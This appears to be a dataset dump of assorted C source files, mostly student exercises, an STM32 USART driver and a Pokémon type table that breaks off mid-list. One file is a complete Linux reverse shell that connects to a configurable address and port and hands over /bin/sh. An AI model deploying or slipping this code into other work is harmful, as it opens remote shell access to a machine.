file
stringlengths
18
26
data
stringlengths
3
1.04M
the_stack_data/174350.c
/* * C Program to Find the volume and surface area of cone */ #include <stdio.h> #include <math.h> int main() { float radius, height; float surface_area, volume; printf("Enter value of radius and height of a cone :\n "); scanf("%f%f", &radius, &height); surface_area = (22 / 7) * radius * (radius + sqrt(radius * radius + height * height)); volume = (1.0/3) * (22 / 7) * radius * radius * height; printf("Surface area of cone is: %.3f", surface_area); printf("\n Volume of cone is : %.3f", volume); return 0; }
the_stack_data/153416.c
#include <stdio.h> void printFibonacci(int n) { static long long int n1 = 0, n2 = 1, n3; if (n > 0) { n3 = n1 + n2; n1 = n2; n2 = n3; printf("%lld\n", n3); printFibonacci(n - 1); } } int main() { int n; printf("Enter the number of elements: "); scanf("%d", &n); printf("Fibonacci Series: \n"); printf("%d\n %d\n ", 0, 1); printFibonacci(n - 2); //n-2 because 2 numbers are already printed return 0; }
the_stack_data/880542.c
/* 136. Binary search using recursion */ #include<stdio.h> int binary(int arr[], int n, int search, int l, int u); int main() { int arr[10], i, n, search, c, l, u; printf("Enter the size of an array : "); scanf("%d", &n); for (i = 0; i < n; i++) { printf("Enter the element %d : ", i+1); scanf("%d", &arr[i]); } printf("Enter the number to be search: "); scanf("%d", &search); l = 0, u = n - 1; c = binary(arr, n, search, l, u); if (c == 0) printf("Number not found."); else printf("Number found."); return 0; } int binary(int arr[], int n, int search, int l, int u) { int mid, c = 0; if (l <= u) { mid = (l + u) / 2; if (search == arr[mid]) { c = 1; } else if (search < arr[mid]) { return binary(arr, n, search, l, mid - 1); } else return binary(arr, n, search, mid + 1, u); } else return c; }
the_stack_data/54825777.c
/* Simple Linux Base Reverse shell written in c */ #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <unistd.h> #include <arpa/inet.h> #define REMOTE_ADDR "127.0.0.1" #define REMOTE_PORT 4444 int main() { // Create addr struct struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(REMOTE_PORT); // Connection Port addr.sin_addr.s_addr = inet_addr(REMOTE_ADDR); // Connection IP // Create socket int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("Socket creation failed.\n"); exit(EXIT_FAILURE); } // Connect socket if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) { perror("Socket connection failed.\n"); close(sock); exit(EXIT_FAILURE); } // Duplicate stdin, stdout, stderr to socket dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); //Execute shell execve("/bin/sh", 0, 0); }
the_stack_data/1265668.c
/** ****************************************************************************** * @file stm32f7xx_ll_usart.c * @author MCD Application Team * @version V1.2.2 * @date 14-April-2017 * @brief USART LL module driver. ****************************************************************************** * @attention * * <h2><center>&copy; COPYRIGHT(c) 2017 STMicroelectronics</center></h2> * * Redistribution and use in source and binary forms, with or without modification, * are permitted provided that the following conditions are met: * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * 3. Neither the name of STMicroelectronics nor the names of its contributors * may be used to endorse or promote products derived from this software * without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ****************************************************************************** */ #if defined(USE_FULL_LL_DRIVER) /* Includes ------------------------------------------------------------------*/ #include "stm32f7xx_ll_usart.h" #include "stm32f7xx_ll_rcc.h" #include "stm32f7xx_ll_bus.h" #ifdef USE_FULL_ASSERT #include "stm32_assert.h" #else #define assert_param(expr) ((void)0U) #endif /** @addtogroup STM32F7xx_LL_Driver * @{ */ #if defined (USART1) || defined (USART2) || defined (USART3) || defined (USART6) || defined (UART4) || defined (UART5) || defined (UART7) || defined (UART8) /** @addtogroup USART_LL * @{ */ /* Private types -------------------------------------------------------------*/ /* Private variables ---------------------------------------------------------*/ /* Private constants ---------------------------------------------------------*/ /** @addtogroup USART_LL_Private_Constants * @{ */ /** * @} */ /* Private macros ------------------------------------------------------------*/ /** @addtogroup USART_LL_Private_Macros * @{ */ /* __BAUDRATE__ The maximum Baud Rate is derived from the maximum clock available * divided by the smallest oversampling used on the USART (i.e. 8) */ #define IS_LL_USART_BAUDRATE(__BAUDRATE__) ((__BAUDRATE__) <= 27000000U) /* __VALUE__ In case of oversampling by 16 and 8, BRR content must be greater than or equal to 16d. */ #define IS_LL_USART_BRR(__VALUE__) (((__VALUE__) >= 16U) \ && ((__VALUE__) <= 0x0000FFFFU)) #define IS_LL_USART_DIRECTION(__VALUE__) (((__VALUE__) == LL_USART_DIRECTION_NONE) \ || ((__VALUE__) == LL_USART_DIRECTION_RX) \ || ((__VALUE__) == LL_USART_DIRECTION_TX) \ || ((__VALUE__) == LL_USART_DIRECTION_TX_RX)) #define IS_LL_USART_PARITY(__VALUE__) (((__VALUE__) == LL_USART_PARITY_NONE) \ || ((__VALUE__) == LL_USART_PARITY_EVEN) \ || ((__VALUE__) == LL_USART_PARITY_ODD)) #define IS_LL_USART_DATAWIDTH(__VALUE__) (((__VALUE__) == LL_USART_DATAWIDTH_7B) \ || ((__VALUE__) == LL_USART_DATAWIDTH_8B) \ || ((__VALUE__) == LL_USART_DATAWIDTH_9B)) #define IS_LL_USART_OVERSAMPLING(__VALUE__) (((__VALUE__) == LL_USART_OVERSAMPLING_16) \ || ((__VALUE__) == LL_USART_OVERSAMPLING_8)) #define IS_LL_USART_LASTBITCLKOUTPUT(__VALUE__) (((__VALUE__) == LL_USART_LASTCLKPULSE_NO_OUTPUT) \ || ((__VALUE__) == LL_USART_LASTCLKPULSE_OUTPUT)) #define IS_LL_USART_CLOCKPHASE(__VALUE__) (((__VALUE__) == LL_USART_PHASE_1EDGE) \ || ((__VALUE__) == LL_USART_PHASE_2EDGE)) #define IS_LL_USART_CLOCKPOLARITY(__VALUE__) (((__VALUE__) == LL_USART_POLARITY_LOW) \ || ((__VALUE__) == LL_USART_POLARITY_HIGH)) #define IS_LL_USART_CLOCKOUTPUT(__VALUE__) (((__VALUE__) == LL_USART_CLOCK_DISABLE) \ || ((__VALUE__) == LL_USART_CLOCK_ENABLE)) #define IS_LL_USART_STOPBITS(__VALUE__) (((__VALUE__) == LL_USART_STOPBITS_0_5) \ || ((__VALUE__) == LL_USART_STOPBITS_1) \ || ((__VALUE__) == LL_USART_STOPBITS_1_5) \ || ((__VALUE__) == LL_USART_STOPBITS_2)) #define IS_LL_USART_HWCONTROL(__VALUE__) (((__VALUE__) == LL_USART_HWCONTROL_NONE) \ || ((__VALUE__) == LL_USART_HWCONTROL_RTS) \ || ((__VALUE__) == LL_USART_HWCONTROL_CTS) \ || ((__VALUE__) == LL_USART_HWCONTROL_RTS_CTS)) /** * @} */ /* Private function prototypes -----------------------------------------------*/ /* Exported functions --------------------------------------------------------*/ /** @addtogroup USART_LL_Exported_Functions * @{ */ /** @addtogroup USART_LL_EF_Init * @{ */ /** * @brief De-initialize USART registers (Registers restored to their default values). * @param USARTx USART Instance * @retval An ErrorStatus enumeration value: * - SUCCESS: USART registers are de-initialized * - ERROR: USART registers are not de-initialized */ ErrorStatus LL_USART_DeInit(USART_TypeDef *USARTx) { ErrorStatus status = SUCCESS; /* Check the parameters */ assert_param(IS_UART_INSTANCE(USARTx)); if (USARTx == USART1) { /* Force reset of USART clock */ LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_USART1); /* Release reset of USART clock */ LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_USART1); } else if (USARTx == USART2) { /* Force reset of USART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_USART2); /* Release reset of USART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_USART2); } else if (USARTx == USART3) { /* Force reset of USART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_USART3); /* Release reset of USART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_USART3); } else if (USARTx == USART6) { /* Force reset of USART clock */ LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_USART6); /* Release reset of USART clock */ LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_USART6); } else if (USARTx == UART4) { /* Force reset of UART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_UART4); /* Release reset of UART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_UART4); } else if (USARTx == UART5) { /* Force reset of UART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_UART5); /* Release reset of UART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_UART5); } else if (USARTx == UART7) { /* Force reset of UART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_UART7); /* Release reset of UART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_UART7); } else if (USARTx == UART8) { /* Force reset of UART clock */ LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_UART8); /* Release reset of UART clock */ LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_UART8); } else { status = ERROR; } return (status); } /** * @brief Initialize USART registers according to the specified * parameters in USART_InitStruct. * @note As some bits in USART configuration registers can only be written when the USART is disabled (USART_CR1_UE bit =0), * USART IP should be in disabled state prior calling this function. Otherwise, ERROR result will be returned. * @note Baud rate value stored in USART_InitStruct BaudRate field, should be valid (different from 0). * @param USARTx USART Instance * @param USART_InitStruct: pointer to a LL_USART_InitTypeDef structure * that contains the configuration information for the specified USART peripheral. * @retval An ErrorStatus enumeration value: * - SUCCESS: USART registers are initialized according to USART_InitStruct content * - ERROR: Problem occurred during USART Registers initialization */ ErrorStatus LL_USART_Init(USART_TypeDef *USARTx, LL_USART_InitTypeDef *USART_InitStruct) { ErrorStatus status = ERROR; uint32_t periphclk = LL_RCC_PERIPH_FREQUENCY_NO; /* Check the parameters */ assert_param(IS_UART_INSTANCE(USARTx)); assert_param(IS_LL_USART_BAUDRATE(USART_InitStruct->BaudRate)); assert_param(IS_LL_USART_DATAWIDTH(USART_InitStruct->DataWidth)); assert_param(IS_LL_USART_STOPBITS(USART_InitStruct->StopBits)); assert_param(IS_LL_USART_PARITY(USART_InitStruct->Parity)); assert_param(IS_LL_USART_DIRECTION(USART_InitStruct->TransferDirection)); assert_param(IS_LL_USART_HWCONTROL(USART_InitStruct->HardwareFlowControl)); assert_param(IS_LL_USART_OVERSAMPLING(USART_InitStruct->OverSampling)); /* USART needs to be in disabled state, in order to be able to configure some bits in CRx registers */ if (LL_USART_IsEnabled(USARTx) == 0U) { /*---------------------------- USART CR1 Configuration --------------------- * Configure USARTx CR1 (USART Word Length, Parity, Mode and Oversampling bits) with parameters: * - DataWidth: USART_CR1_M bits according to USART_InitStruct->DataWidth value * - Parity: USART_CR1_PCE, USART_CR1_PS bits according to USART_InitStruct->Parity value * - TransferDirection: USART_CR1_TE, USART_CR1_RE bits according to USART_InitStruct->TransferDirection value * - Oversampling: USART_CR1_OVER8 bit according to USART_InitStruct->OverSampling value. */ MODIFY_REG(USARTx->CR1, (USART_CR1_M | USART_CR1_PCE | USART_CR1_PS | USART_CR1_TE | USART_CR1_RE | USART_CR1_OVER8), (USART_InitStruct->DataWidth | USART_InitStruct->Parity | USART_InitStruct->TransferDirection | USART_InitStruct->OverSampling)); /*---------------------------- USART CR2 Configuration --------------------- * Configure USARTx CR2 (Stop bits) with parameters: * - Stop Bits: USART_CR2_STOP bits according to USART_InitStruct->StopBits value. * - CLKEN, CPOL, CPHA and LBCL bits are to be configured using LL_USART_ClockInit(). */ LL_USART_SetStopBitsLength(USARTx, USART_InitStruct->StopBits); /*---------------------------- USART CR3 Configuration --------------------- * Configure USARTx CR3 (Hardware Flow Control) with parameters: * - HardwareFlowControl: USART_CR3_RTSE, USART_CR3_CTSE bits according to USART_InitStruct->HardwareFlowControl value. */ LL_USART_SetHWFlowCtrl(USARTx, USART_InitStruct->HardwareFlowControl); /*---------------------------- USART BRR Configuration --------------------- * Retrieve Clock frequency used for USART Peripheral */ if (USARTx == USART1) { periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART1_CLKSOURCE); } else if (USARTx == USART2) { periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART2_CLKSOURCE); } else if (USARTx == USART3) { periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART3_CLKSOURCE); } else if (USARTx == USART6) { periphclk = LL_RCC_GetUSARTClockFreq(LL_RCC_USART6_CLKSOURCE); } else if (USARTx == UART4) { periphclk = LL_RCC_GetUARTClockFreq(LL_RCC_UART4_CLKSOURCE); } else if (USARTx == UART5) { periphclk = LL_RCC_GetUARTClockFreq(LL_RCC_UART5_CLKSOURCE); } else if (USARTx == UART7) { periphclk = LL_RCC_GetUARTClockFreq(LL_RCC_UART7_CLKSOURCE); } else if (USARTx == UART8) { periphclk = LL_RCC_GetUARTClockFreq(LL_RCC_UART8_CLKSOURCE); } else { /* Nothing to do, as error code is already assigned to ERROR value */ } /* Configure the USART Baud Rate : - valid baud rate value (different from 0) is required - Peripheral clock as returned by RCC service, should be valid (different from 0). */ if ((periphclk != LL_RCC_PERIPH_FREQUENCY_NO) && (USART_InitStruct->BaudRate != 0U)) { status = SUCCESS; LL_USART_SetBaudRate(USARTx, periphclk, USART_InitStruct->OverSampling, USART_InitStruct->BaudRate); /* Check BRR is greater than or equal to 16d */ assert_param(IS_LL_USART_BRR(USARTx->BRR)); } } /* Endif (=> USART not in Disabled state => return ERROR) */ return (status); } /** * @brief Set each @ref LL_USART_InitTypeDef field to default value. * @param USART_InitStruct: pointer to a @ref LL_USART_InitTypeDef structure * whose fields will be set to default values. * @retval None */ void LL_USART_StructInit(LL_USART_InitTypeDef *USART_InitStruct) { /* Set USART_InitStruct fields to default values */ USART_InitStruct->BaudRate = 9600U; USART_InitStruct->DataWidth = LL_USART_DATAWIDTH_8B; USART_InitStruct->StopBits = LL_USART_STOPBITS_1; USART_InitStruct->Parity = LL_USART_PARITY_NONE ; USART_InitStruct->TransferDirection = LL_USART_DIRECTION_TX_RX; USART_InitStruct->HardwareFlowControl = LL_USART_HWCONTROL_NONE; USART_InitStruct->OverSampling = LL_USART_OVERSAMPLING_16; } /** * @brief Initialize USART Clock related settings according to the * specified parameters in the USART_ClockInitStruct. * @note As some bits in USART configuration registers can only be written when the USART is disabled (USART_CR1_UE bit =0), * USART IP should be in disabled state prior calling this function. Otherwise, ERROR result will be returned. * @param USARTx USART Instance * @param USART_ClockInitStruct: pointer to a @ref LL_USART_ClockInitTypeDef structure * that contains the Clock configuration information for the specified USART peripheral. * @retval An ErrorStatus enumeration value: * - SUCCESS: USART registers related to Clock settings are initialized according to USART_ClockInitStruct content * - ERROR: Problem occurred during USART Registers initialization */ ErrorStatus LL_USART_ClockInit(USART_TypeDef *USARTx, LL_USART_ClockInitTypeDef *USART_ClockInitStruct) { ErrorStatus status = SUCCESS; /* Check USART Instance and Clock signal output parameters */ assert_param(IS_UART_INSTANCE(USARTx)); assert_param(IS_LL_USART_CLOCKOUTPUT(USART_ClockInitStruct->ClockOutput)); /* USART needs to be in disabled state, in order to be able to configure some bits in CRx registers */ if (LL_USART_IsEnabled(USARTx) == 0U) { /*---------------------------- USART CR2 Configuration -----------------------*/ /* If Clock signal has to be output */ if (USART_ClockInitStruct->ClockOutput == LL_USART_CLOCK_DISABLE) { /* Deactivate Clock signal delivery : * - Disable Clock Output: USART_CR2_CLKEN cleared */ LL_USART_DisableSCLKOutput(USARTx); } else { /* Ensure USART instance is USART capable */ assert_param(IS_USART_INSTANCE(USARTx)); /* Check clock related parameters */ assert_param(IS_LL_USART_CLOCKPOLARITY(USART_ClockInitStruct->ClockPolarity)); assert_param(IS_LL_USART_CLOCKPHASE(USART_ClockInitStruct->ClockPhase)); assert_param(IS_LL_USART_LASTBITCLKOUTPUT(USART_ClockInitStruct->LastBitClockPulse)); /*---------------------------- USART CR2 Configuration ----------------------- * Configure USARTx CR2 (Clock signal related bits) with parameters: * - Enable Clock Output: USART_CR2_CLKEN set * - Clock Polarity: USART_CR2_CPOL bit according to USART_ClockInitStruct->ClockPolarity value * - Clock Phase: USART_CR2_CPHA bit according to USART_ClockInitStruct->ClockPhase value * - Last Bit Clock Pulse Output: USART_CR2_LBCL bit according to USART_ClockInitStruct->LastBitClockPulse value. */ MODIFY_REG(USARTx->CR2, USART_CR2_CLKEN | USART_CR2_CPHA | USART_CR2_CPOL | USART_CR2_LBCL, USART_CR2_CLKEN | USART_ClockInitStruct->ClockPolarity | USART_ClockInitStruct->ClockPhase | USART_ClockInitStruct->LastBitClockPulse); } } /* Else (USART not in Disabled state => return ERROR */ else { status = ERROR; } return (status); } /** * @brief Set each field of a @ref LL_USART_ClockInitTypeDef type structure to default value. * @param USART_ClockInitStruct: pointer to a @ref LL_USART_ClockInitTypeDef structure * whose fields will be set to default values. * @retval None */ void LL_USART_ClockStructInit(LL_USART_ClockInitTypeDef *USART_ClockInitStruct) { /* Set LL_USART_ClockInitStruct fields with default values */ USART_ClockInitStruct->ClockOutput = LL_USART_CLOCK_DISABLE; USART_ClockInitStruct->ClockPolarity = LL_USART_POLARITY_LOW; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */ USART_ClockInitStruct->ClockPhase = LL_USART_PHASE_1EDGE; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */ USART_ClockInitStruct->LastBitClockPulse = LL_USART_LASTCLKPULSE_NO_OUTPUT; /* Not relevant when ClockOutput = LL_USART_CLOCK_DISABLE */ } /** * @} */ /** * @} */ /** * @} */ #endif /* USART1 || USART2 || USART3 || USART6 || UART4 || UART5 || UART7 || UART8 */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
the_stack_data/193892423.c
#include <term.h> #define to_status_line tigetstr("tsl") /** go to status line, col #1 **/ /* TERMINFO_NAME(tsl) TERMCAP_NAME(ts) XOPEN(400) */
the_stack_data/399558.c
#include<stdio.h> int sum_numbers() { int i; int total = 0; for(i = 1; i < 1000; ++i) { if(i % 3 == 0) { total = total + i; } else if(i % 5 == 0) { total = total + i; } } return total; } int main() { printf("\nThe result is %d\n\n", sum_numbers()); return 0; }
the_stack_data/17333.c
#include <stdio.h> void vedlejsiDiagonala1(char mat[][20],int n){ int i,j; for (i=0; i<n; i++) for (j=0; j<n; j++) if (n-j>i) mat[i][j]='&'; else mat[i][j]='#'; } void vedlejsiDiagonala2(char mat[][20],int n) { for(int y = 0; y < n; y++) { for(int x = 0; x < n; x++) { if(x+y == n-1) { mat[y][x] = '*'; } else { mat[y][x] = '-'; } } } } void vypisMatici(char mat[][20],int n){ int i,j; for (i=0; i<n; i++){ for (j=0; j<n; j++) printf("%2c",mat[i][j]); printf("\n"); } } int main(void) { int n=0, m=0; char matice[20][20]; do{ printf("Zadej rozmer ctvercove matice (<21): "); scanf("%d",&n); } while(n<1 || n>20); vedlejsiDiagonala1(matice,n); vypisMatici(matice,n); vedlejsiDiagonala2(matice,n); vypisMatici(matice,n); return 0; }
the_stack_data/30475.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); void __VERIFIER_assert(int cond) { if (!(cond)) { ERROR: __VERIFIER_error(); } return; } #define bool int extern bool __VERIFIER_nondet_bool(); void foo() { int y=0; bool c1=__VERIFIER_nondet_bool(), c2=__VERIFIER_nondet_bool(); if (c1) y++; if (c2) y--; else y+=10; } int main() { int d = 1; int x; bool c1=__VERIFIER_nondet_bool(), c2=__VERIFIER_nondet_bool(); if (c1) d = d - 1; if (c2) foo(); c1=__VERIFIER_nondet_bool(), c2=__VERIFIER_nondet_bool(); if (c1) foo(); if (c2) d = d - 1; while(x>0) { x=x-d; } __VERIFIER_assert(x<=0); }
the_stack_data/679843.c
#include <stdio.h> char *t[] = { "Bulbasaur", "Grass Poison", "Ivysaur", "Grass Poison", "Venusaur", "Grass Poison", "Charmander", "Fire", "Charmeleon", "Fire", "Charizard", "Fire Flying", "Squirtle", "Water", "Wartortle", "Water", "Blastoise", "Water", "Caterpie", "Bug", "Metapod", "Bug", "Butterfree", "Bug Flying", "Weedle", "Bug Poison", "Kakuna", "Bug Poison", "Beedrill", "Bug Poison", "Pidgey", "Normal Flying", "Pidgeotto", "Normal Flying", "Pidgeot", "Normal Flying", "Rattata", "Normal", "Raticate", "Normal", "Spearow", "Normal Flying", "Fearow", "Normal Flying", "Ekans", "Poison", "Arbok", "Poison", "Pikachu", "Electric", "Raichu", "Electric", "Sandshrew", "Ground", "Sandslash", "Ground", "Nidoran♀", "Poison", "Nidorina", "Poison", "Nidoqueen", "Poison Ground", "Nidoran♂", "Poison", "Nidorino", "Poison", "Nidoking", "Poison Ground", "Clefairy", "Fairy", "Clefable", "Fairy", "Vulpix", "Fire", "Ninetales", "Fire", "Jigglypuff", "Normal Fairy", "Wigglytuff", "Normal Fairy", "Zubat", "Poison Flying", "Golbat", "Poison Flying", "Oddish", "Grass Poison", "Gloom", "Grass Poison", "Vileplume", "Grass Poison", "Paras", "Bug Grass", "Parasect", "Bug Grass", "Venonat", "Bug Poison", "Venomoth", "Bug Poison", "Diglett", "Ground", "Dugtrio", "Ground", "Meowth", "Normal", "Persian", "Normal", "Psyduck", "Water", "Golduck", "Water", "Mankey", "Fighting", "Primeape", "Fighting", "Growlithe", "Fire", "Arcanine", "Fire", "Poliwag", "Water", "Poliwhirl", "Water", "Poliwrath", "Water Fighting", "Abra", "Psychic", "Kadabra", "Psychic", "Alakazam", "Psychic", "Machop", "Fighting", "Machoke", "Fighting", "Machamp", "Fighting", "Bellsprout", "Grass Poison", "Weepinbell", "Grass Poison", "Victreebel", "Grass Poison", "Tentacool", "Water Poison", "Tentacruel", "Water Poison", "Geodude", "Rock Ground", "Graveler", "Rock Ground", "Golem", "Rock Ground", "Ponyta", "Fire", "Rapidash", "Fire", "Slowpoke", "Water Psychic", "Slowbro", "Water Psychic", "Magnemite", "Electric Steel", "Magneton", "Electric Steel", "Farfetch'd", "Normal Flying", "Doduo", "Normal Flying", "Dodrio", "Normal Flying", "Seel", "Water", "Dewgong", "Water Ice", "Grimer", "Poison", "Muk", "Poison", "Shellder", "Water", "Cloyster", "Water Ice", "Gastly", "Ghost Poison", "Haunter", "Ghost Poison", "Gengar", "Ghost Poison", "Onix", "Rock Ground", "Drowzee", "Psychic", "Hypno", "Psychic", "Krabby", "Water", "Kingler", "Water", "Voltorb", "Electric", "Electrode", "Electric", "Exeggcute", "Grass Psychic", "Exeggutor", "Grass Psychic", "Cubone", "Ground", "Marowak", "Ground", "Hitmonlee", "Fighting", "Hitmonchan", "Fighting", "Lickitung", "Normal", "Koffing", "Poison", "Weezing", "Poison", "Rhyhorn", "Ground Rock", "Rhydon", "Ground Rock", "Chansey", "Normal", "Tangela", "Grass", "Kangaskhan", "Normal", "Horsea", "Water", "Seadra", "Water", "Goldeen", "Water", "Seaking", "Water", "Staryu", "Water", "Starmie", "Water Psychic", "Mr. Mime", "Psychic Fairy", "Scyther", "Bug Flying", "Jynx", "Ice Psychic", "Electabuzz", "Electric", "Magmar", "Fire", "Pinsir", "Bug", "Tauros", "Normal", "Magikarp", "Water", "Gyarados", "Water Flying", "Lapras", "Water Ice", "Ditto", "Normal", "Eevee", "Normal", "Vaporeon", "Water", "Jolteon", "Electric", "Flareon", "Fire", "Porygon", "Normal", "Omanyte", "Rock Water", "Omastar", "Rock Water", "Kabuto", "Rock Water", "Kabutops", "Rock Water", "Aerodactyl", "Rock Flying", "Snorlax", "Normal", "Articuno", "Ice Flying", "Zapdos", "Electric Flying", "Moltres", "Fire Flying", "Dratini", "Dragon", "Dragonair", "Dragon", "Dragonite", "Dragon Flying", "Mewtwo", "Psychic", "Mew", "Psychic", "Chikorita", "Grass", "Bayleef", "Grass", "Meganium", "Grass", "Cyndaquil", "Fire", "Quilava", "Fire", "Typhlosion", "Fire", "Totodile", "Water", "Croconaw", "Water", "Feraligatr", "Water", "Sentret", "Normal", "Furret", "Normal", "Hoothoot", "Normal Flying", "Noctowl", "Normal Flying", "Ledyba", "Bug Flying", "Ledian", "Bug Flying", "Spinarak", "Bug Poison", "Ariados", "Bug Poison", "Crobat", "Poison Flying", "Chinchou", "Water Electric", "Lanturn", "Water Electric", "Pichu", "Electric", "Cleffa", "Fairy", "Igglybuff", "Normal Fairy", "Togepi", "Fairy", "Togetic", "Fairy Flying", "Natu", "Psychic Flying", "Xatu", "Psychic Flying", "Mareep", "Electric", "Flaaffy", "Electric", "Ampharos", "Electric", "Bellossom", "Grass", "Marill", "Water Fairy", "Azumarill", "Water Fairy", "Sudowoodo", "Rock", "Politoed", "Water", "Hoppip", "Grass Flying", "Skiploom", "Grass Flying", "Jumpluff", "Grass Flying", "Aipom", "Normal", "Sunkern", "Grass", "Sunflora", "Grass", "Yanma", "Bug Flying", "Wooper", "Water Ground", "Quagsire", "Water Ground", "Espeon", "Psychic", "Umbreon", "Dark", "Murkrow", "Dark Flying", "Slowking", "Water Psychic", "Misdreavus", "Ghost", "Unown", "Psychic", "Wobbuffet", "Psychic", "Girafarig", "Normal Psychic", "Pineco", "Bug", "Forretress", "Bug Steel", "Dunsparce", "Normal", "Gligar", "Ground Flying", "Steelix", "Steel Ground", "Snubbull", "Fairy", "Granbull", "Fairy", "Qwilfish", "Water Poison", "Scizor", "Bug Steel", "Shuckle", "Bug Rock", "Heracross", "Bug Fighting", "Sneasel", "Dark Ice", "Teddiursa", "Normal", "Ursaring", "Normal", "Slugma", "Fire", "Magcargo", "Fire Rock", "Swinub", "Ice Ground", "Piloswine", "Ice Ground", "Corsola", "Water Rock", "Remoraid", "Water", "Octillery", "Water", "Delibird", "Ice Flying", "Mantine", "Water Flying", "Skarmory", "Steel Flying", "Houndour", "Dark Fire", "Houndoom", "Dark Fire", "Kingdra", "Water Dragon", "Phanpy", "Ground", "Donphan", "Ground", "Porygon2", "Normal", "Stantler", "Normal", "Smeargle", "Normal", "Tyrogue", "Fighting", "Hitmontop", "Fighting", "Smoochum", "Ice Psychic", "Elekid", "Electric", "Magby", "Fire", "Miltank", "Normal", "Blissey", "Normal", "Raikou", "Electric", "Entei", "Fire", "Suicune", "Water", "Larvitar", "Rock Ground", "Pupitar", "Rock Ground", "Tyranitar", "Rock Dark", "Lugia", "Psychic Flying", "Ho-oh", "Fire Flying", "Celebi", "Psychic Grass", "Treecko", "Grass", "Grovyle", "Grass", "Sceptile", "Grass", "Torchic", "Fire", "Combusken", "Fire Fighting", "Blaziken", "Fire Fighting", "Mudkip", "Water", "Marshtomp", "Water Ground", "Swampert", "Water Ground", "Poochyena", "Dark", "Mightyena", "Dark", "Zigzagoon", "Normal", "Linoone", "Normal", "Wurmple", "Bug", "Silcoon", "Bug", "Beautifly", "Bug Flying", "Cascoon", "Bug", "Dustox", "Bug Poison", "Lotad", "Water Grass", "Lombre", "Water Grass", "Ludicolo", "Water Grass", "Seedot", "Grass", "Nuzleaf", "Grass Dark", "Shiftry", "Grass Dark", "Taillow", "Normal Flying", "Swellow", "Normal Flying", "Wingull", "Water Flying", "Pelipper", "Water Flying", "Ralts", "Psychic Fairy", "Kirlia", "Psychic Fairy", "Gardevoir", "Psychic Fairy", "Surskit", "Bug Water", "Masquerain", "Bug Flying", "Shroomish", "Grass", "Breloom", "Grass Fighting", "Slakoth", "Normal", "Vigoroth", "Normal", "Slaking", "Normal", "Nincada", "Bug Ground", "Ninjask", "Bug Flying", "Shedinja", "Bug Ghost", "Whismur", "Normal", "Loudred", "Normal", "Exploud", "Normal", "Makuhita", "Fighting", "Hariyama", "Fighting", "Azurill", "Normal Fairy", "Nosepass", "Rock", "Skitty", "Normal", "Delcatty", "Normal", "Sableye", "Dark Ghost", "Mawile", "Steel Fairy", "Aron", "Steel Rock", "Lairon", "Steel Rock", "Aggron", "Steel Rock", "Meditite", "Fighting Psychic", "Medicham", "Fighting Psychic", "Electrike", "Electric", "Manectric", "Electric", "Plusle", "Electric", "Minun", "Electric", "Volbeat", "Bug", "Illumise", "Bug", "Roselia", "Grass Poison", "Gulpin", "Poison", "Swalot", "Poison", "Carvanha", "Water Dark", "Sharpedo", "Water Dark", "Wailmer", "Water", "Wailord", "Water", "Numel", "Fire Ground", "Camerupt", "Fire Ground", "Torkoal", "Fire", "Spoink", "Psychic", "Grumpig", "Psychic", "Spinda", "Normal", "Trapinch", "Ground", "Vibrava", "Ground Dragon", "Flygon", "Ground Dragon", "Cacnea", "Grass", "Cacturne", "Grass Dark", "Swablu", "Normal Flying", "Altaria", "Dragon Flying", "Zangoose", "Normal", "Seviper", "Poison", "Lunatone", 